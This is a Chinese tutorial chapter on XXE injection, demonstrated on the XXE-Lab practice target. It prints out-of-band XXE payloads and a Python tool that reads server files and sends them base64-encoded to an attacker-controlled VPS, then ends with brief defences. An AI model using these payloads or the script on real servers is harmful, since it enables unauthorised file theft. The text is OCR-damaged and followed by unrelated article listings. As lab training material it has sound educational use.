外部实体注入漏洞

 

 

当允许引用外部实体时,会造成外部实体注入(XXE)漏洞。通过构造恶意 内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站 等危害。本节介绍针对XXE漏洞的检测和防御方法。

 

 

 

 

 

 

5.2.1    简介

 

根据回显情况,XXE漏洞可分为如下两种:

·有回显的XXE。

· 无回显的XXE。

这里以XXE-Lab靶场作为目标进行漏洞演示,靶场如图5-1所示。

97fc4534139b41b2bfa77f96cce235d6.png

图5-1    XXE-Lab靶场

先进行有回显XXE的演示。我们先在靶场服务器的C盘下新建一个test.txt ,内 容为“hello hacker!!!ℽ , 然后通过BurpSite进行登录抓包,数据包内容如下所   示:

 

 

 

 

 

8f6d605a10e84b1da1bd3ce15728ff1c.png

构造Payload对靶场服务器C盘下的test.txt文件进行读取,如下所示:

ffb81230e69044b4a4a0b08e9162f766.png

然后,进行无回显XXE的演示。在这之前,我们要关闭靶场的信息输出。打 开靶场目录下的php_xxe/doLogin.php文件,进行如下操作:

1)注释掉echo$result。

2)增加“error_reporting(0);”。

再次进行注入,服务不会返回任何信息,如下所示:

979bb43a219c4913b607776d6d8b542c.png

对于无回显的XXE ,我们需要构建一条带外数据(Out-of Band ,OOB)通道

 

 

 

来读取数据。思路如下:

1)攻击者先发送Payload1给Web服务器。

2)Payload1触发Web服务器,Web服务器向VPS获取恶意DTD ,并执行 Payload2。

3)Payload2使Web服务器把结果作为参数来访问VPS上的HTTP服务。

4)攻击者通过VPS的HTTP访问记录得到结果。

攻击过程如图5-2所示。

我们在VPS上创建名为evil.xml的恶意DTD文件,并将其放在apache 的网页目 录下,同时开启apache服务。

evil.xml内容如下:

b981b138c4814fea9493516f443b4806.png

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps394.png&pos_id=xzaeE6fe

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps395.png&pos_id=2Fsd80Iz

< !ENTITY % payload "< !ENTITY % send content=%file; '>"> %payload;

SYSTEM 'http://192 .168 .61 .130/?

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps396.png&pos_id=2NAUryJs

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps397.png&pos_id=V0J8sMSw

图5-2    攻击过程

在VPS上开启对apache访问日志的监控,如下所示:

32277586cffd44369456747427756af1.png

 

 

 

在登录的数据包中构造如下Payload 。其中,参数实体file 的内容为要读取文 件的内容经过Base64编码后的结果,参数实体dtd为VPS上evil.xml的URL地址:

<?xml version="1 .0"?>

< !DOCTYPE test[

< !ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c: /test.txt">

< !ENTITY % dtd SYSTEM "http://192 .168 .61 .130/evil.xml">

%dtd;

%send;

]>

数据包中的内容如下所示:

8fff528604004ef0b93172e83aab9648.png

我们点击发送这个数据包,就可以在VPS上看到HTTP访问记录,如下所示:

84a85ae6b6f446fab3094465f616d8e2.png

对content的内容进行Base64解码将得到文件内容,如图5-3所示。

 

 

 

 

 

4359e67e72bb494b8087c8b4dfc51789.png

图5-3    内容进行解码

 

 

 

 

 

 

5.2.2    检测方法

 

在目标服务器无回显的情况下,只能通过OOB信息传送来进行XXE攻击,但 实际的操作过程则比较烦琐,本节针对无回显的XXE ,通过Python脚本来实现流 程自动化。具体步骤如下:

1)写入脚本相关信息和模块:

 

#!/usr/bin/python3

# -*- coding: utf-8 -*-

 

from http .server import HTTPServer,SimpleHTTPRequestHandler

import threading

import requests

import sys

2)编写攻击Payload的生成函数,能够根据给定的IP地址和端口生成相应的 包含恶意DTD的XML文件:

def ExportPayload(lip,lport) :

file = open( 'evil.xml ', 'w ')

file .write("< !ENTITY % payload \"< !ENTITY % send SYSTEM 'http://{0} :

{1}/?content=%file; '>\"> %payload;" .format(lip, lport))

file .close()

print("[*] Payload文件创建成功!")

3)编写HTTP服务函数,通过http.server模块实现HTTP服务,用来监听目标 服务器返回的数据:

 

# 开启HTTP服务,接收数据

def StartHTTP(lip,lport) :

# HTTP监听的IP地址和端口

serverAddr = (lip, lport)

httpd = HTTPServer(serverAddr, MyHandler)

print("[*] 正在开启HTTP服务器 :\n\n================\nIP地址 :{0}\n端口 :

{1}\n================\n" .format(lip, lport))

httpd.serve_forever()

4)编写POST发送函数,用来向目标服务器发送攻击数据:

# 通过POST发送攻击数据

def SendData(lip, lport, url) :

# 需要读取的文件的路径(默认值)

filePath = "c:\\test.txt"

while True:

# 对用户输入的文件路径斜杠的替换

filePath = filePath.replace( '\\ ', "/")

data = "<?xml version=\"1 .0\"?>\n< !DOCTYPE test[\n< !ENTITY % file

SYSTEM \"php://filter/read=convert.base64-encode/resource={0}\">

 

 

 

 

 

\n< !ENTITY % dtd SYSTEM \"http://{1} :{2}/evil.xml\">\n%dtd;

\n%send;\n]>" .format(filePath, lip, lport)

requests .post(url, data=data)

# 继续接收用户的输入,读取指定文件

filePath = input("Input filePath :")

 

5)定义一个消息处理类,这个类继承自SimpleHTTPRequestHandler 。同时需 要对原生的日志消息函数进行重写,使其在输出访问信息的同时,把访问的信息 记录到文件中去(该函数位于BaseHTTPServer.py中):

# 对原生的log_message函数进行重写,在输出结果的同时把结果保存到文件中

class MyHandler(SimpleHTTPRequestHandler) :

def log_message(self, format, *args) :

# 终端输出HTTP访问信息

sys .stderr .write("%s - - [%s] %s\n" %

(self.client_address[0],

self.log_date_time_string(),

format%args))

# 保存信息到文件

text File = open("result.txt", "a")

text File .write("%s - - [%s] %s\n" %

(self.client_address[0],

self.log_date_time_string(),

format%args))

text File .close()

6)编写主函数,在其中进行相关变量的定义以及函数的调用:

if __name__ == '__main__ ' :

# 本机IP

lip = "192 .168 .61 .130"

# 本机HTTP监听端口

lport = 3344

# 目标网站提交表单的URL

url = "http://192 .168 .61 .134/xxe-lab/php_xxe/doLogin .php"

# 创建Payload文件

ExportPayload(lip, lport)

# HTTP服务线程

threadHTTP = threading .Thread(target=StartHTTP,args=(lip, lport))

threadHTTP .start()

# 发送POST数据线程

threadPOST = threading .Thread(target=SendData,args=(lip, lport, url)) threadPOST .start()

脚本运行过程如下所示:

 

 

 

 

 

8aa693abee8a442c9b88c123d36caaac.png

脚本运行结果如图5-4所示。

fe3de50fec944c4ab7bf0f23d3384717.png

图5-4    内容解码

HTTP访问记录会自动保存在result.txt文件中,如下所示:

939befd8d9db497d9794edf61bf6a6ea.png

 

 

 

 

 

 

5.2.3    防御策略

 

XXE的危害不仅在于攻击服务器,还能通过XXE进行内网的端口探测以及攻 击内网网站等。下面介绍几种关于XXE漏洞的防御方式。

· 默认禁止外部实体的解析。

·对用户提交的XML数据进行过滤,如关键词<!DOCTYPE和<!ENTITY或 者SYSTEM和PUBLIC等。

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/439693.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[足式机器人]Part3 机构运动学与动力学分析与建模 Ch01-2 完整定常系统——杆组RRR

机械原理/机构简图/机构运动学推导/Kmtool.pkg 曲柄滑块机构运动学,五杆机构运动学,七杆机构运动学 本文仅供学习使用,总结很多本现有讲述运动学或动力学书籍后的总结,从矢量的角度进行分析,方法比较传统,但更易理解,并且现有的看似抽象方法,两者本质上并无不同。 2024…

ANAPF有源电力滤波器选型计算——安科瑞赵嘉敏

配电系统中谐波电流的计算涉及很多因素。对于改造项目&#xff0c;可使用专业电能质量分析仪测得所需谐波数据&#xff1b;对于新建项目&#xff0c;设计人员并不能直接获得供电系统的的谐波数据&#xff0c;因此&#xff0c;我司研发人员通过众多不同行业、不同类型的项目&…

图灵之旅--ArrayList顺序表LinkedList链表栈Stack队列Queue

目录 线性表顺序表ArrayList简介ArrayList使用ArrayList的构造ArrayList常见操作ArrayList的遍历ArrayList的扩容机制利用ArrayList洗牌ArrayList的优缺点 链表链表的实现双向链表的实现 LinkedListLinkedList引入LinkedList的使用LinkedList的构造LinkedList的常用方法介绍Lin…

Flink问题解决及性能调优-【Flink根据不同场景状态后端使用调优】

Flink 实时groupby聚合场景操作时&#xff0c;由于使用的是rocksdb状态后端&#xff0c;发现CPU的高负载卡在rocksdb的读写上&#xff0c;导致上游算子背压特别大。通过调优使用hashmap状态后端代替rocksdb状态后端&#xff0c;使吞吐量有了质的飞跃&#xff08;20倍的性能提升…

华为手表开发:WATCH 3 Pro(5)点击按钮弹窗

华为手表开发&#xff1a;WATCH 3 Pro&#xff08;5&#xff09;点击按钮弹窗 初环境与设备 创建项目认识目录结构 修改首页 -> 新建按钮 “ 按钮 ” 文件名&#xff1a;**index.hml** 引用包&#xff1a;‘system.prompt’点击结果 初 鸿蒙可穿戴开发 希望能写一些简…

Spring:JDBCTemplate 的源码分析

一&#xff1a;JdbcTemplate的简介 JdbcTemplate 是 Spring Template设置模式中的一员。类似的还有 TransactionTemplate、 MongoTemplate 等。通过 JdbcTemplate 我们可以使得 Spring 访问数据库的过程简单化。 二&#xff1a;执行SQL语句的方法 1&#xff1a;在JdbcTempla…

手把手教你使用Python打造绚丽的词云图

目录 一、引言 二、环境准备 三、基本流程 四、代码实现 五、进阶技巧与优化 六、总结 一、引言 在信息时代&#xff0c;数据可视化已经成为信息传递的重要手段。词云图作为数据可视化的一种形式&#xff0c;能够直观地展示文本数据中的关键词和重要信息。通过使用Pytho…

故障诊断 | 一文解决,LSTM长短期记忆神经网络故障诊断(Matlab)

文章目录 效果一览文章概述专栏介绍模型描述源码设计参考资料效果一览 文章概述 故障诊断模型 | Maltab实现LSTM长短期记忆神经网络故障诊断 专栏介绍 订阅【故障诊断】专栏,不定期更新机器学习和深度学习在故障诊断中的应用;订阅

142. 环形链表 II(力扣LeetCode)

文章目录 142. 环形链表 II题目描述解题思路判断链表是否有环如果有环&#xff0c;如何找到这个环的入口 c代码 142. 环形链表 II 题目描述 给定一个链表的头节点 head &#xff0c;返回链表开始入环的第一个节点。 如果链表无环&#xff0c;则返回 null。 如果链表中有某个…

Ubuntu 22.04.1 LTS 编译安装 nginx-1.22.1,Nginx动静分离、压缩、缓存、黑白名单、跨域、高可用、性能优化

1.Ubuntu 22.04.1 LTS 编译安装 nginx-1.22.1 1.1安装依赖 sudo apt install libgd-dev 1.2下载nginx wget http://nginx.org/download/nginx-1.22.1.tar.gz 1.3解压nginx tar -zvxf nginx-1.22.1.tar.gz 1.4编译安装 cd nginx-1.22.1 编译并指定安装位置&#xff0c;执行安装…

###C语言程序设计-----C语言学习(7)#(调试篇)

前言&#xff1a;感谢您的关注哦&#xff0c;我会持续更新编程相关知识&#xff0c;愿您在这里有所收获。如果有任何问题&#xff0c;欢迎沟通交流&#xff01;期待与您在学习编程的道路上共同进步。 一. 程序调试 1.程序调试介绍&#xff1a; 程序调试是软件开发过程中非常重…

怎么把word文档转换成pdf?几种高效转换方法了解一下

怎么把word文档转换成pdf&#xff1f;在当今这个时代&#xff0c;PDF已经成为一种通用的文件格式&#xff0c;广泛应用于各种场景。将Word文档转换为PDF&#xff0c;可以确保文档的格式、字体、图片等元素在各种设备和软件上保持一致。那么&#xff0c;如何将Word文档转换为PDF…